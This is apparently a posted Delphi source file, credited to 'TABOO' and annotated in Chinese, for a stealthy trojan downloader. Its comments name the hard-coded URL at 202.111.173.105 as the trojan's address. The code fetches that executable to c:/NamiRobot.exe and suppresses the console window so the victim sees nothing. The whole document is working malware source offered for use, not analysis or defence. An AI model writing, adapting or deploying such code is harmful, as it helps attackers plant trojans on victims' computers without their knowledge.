//////////////////BY TABOO////////////////////
/////////////////程序开始 /////////////////////
program xiazaizhe;
//{$APPTYPE CONSOLE} // 注释掉这一句运行时就不会有那可恶的黑窗口了
uses
windows,
Wininet, //这个单元是关键
SysUtils;
const BufferSize = 1024; //声明大小为1M缓冲区
Pingto_ghoSt1='http://202.111.173.105:8011/NamiRobot2.0.619.exe' ; //木马的地址
PingFo_WWW1='c:/NamiRobot.exe'; //下载后放入的地方及文件名
var
hSession, Foy_WWr: HInternet;// 当前的 Internet 会话句柄实例的internet句柄,必须由前期的 InternetOpen 调用返回。
Buffer: array[1..BufferSize] of Byte; //声明一个数组 ,分别对应于 BufferSize缓冲区中的每一个字节
BufferLen: DWORD; //缓冲区实际长度
f: File; //一个文件变量
Pingto: string; //一个字符串变量
cmdPath :array[0..MAX_PATH] of char;//一个用来存放路径的字符串
begin
{ TODO -oUser -cConsole Main : Insert code here }
Pingto := ExtractFileName(cmdPath); //返回cmdPath指定的文件的文件名(包括扩展名)
hSession := InternetOpen(PChar(Pingto),INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0); //InternetOpen 调用返回会话句柄
try
{----下面这个函数有BUG---如果用户试图从网络打开一个实际并不存在的URL, 走到InternetOpenUrl这步,
应用程序就一命呜呼了。这个API并没有按照文档上说的那样返回一个NULL给文件HANDLE,而是完全停止响应挂起。
应该先检查PChar(Pingto)这个地址是否真的存在,具体方法很麻烦,方法的代码比这个程序还要长,这里不在缀述.}
Foy_WWr := InternetOpenURL(hSession,PChar(Pingto_ghoSt1),nil,0,0,0);// 通过一个完整的FTP,Gopher或HTTP网址打开一个资源。
try
AssignFile(f, PingFo_WWW1); //让文件指针与PingFo_WWW1指定的文件相关联
Rewrite(f,1); //打开并重写上面的文件
{下面这是一个循环,从一个被函数InternetOpenUr打开的句柄中一个字节一个字节的读取数据。
直到BufferLen为零,也就是没有数据可以读了就证明全部字节都读取完成了}
repeat
InternetReadFile(Foy_WWr, @Buffer,SizeOf(Buffer), BufferLen);//参数 BufferLen返回每次实际读取到的字节数
BlockWrite(f, Buffer, BufferLen);//取到的字节写到F中
until BufferLen = 0;
CloseFile(f); //关闭文件变量
finally
InternetCloseHandle(Foy_WWr) //关闭读取会话
end
finally
InternetCloseHandle(hSession) //关闭连接会话
end
评论0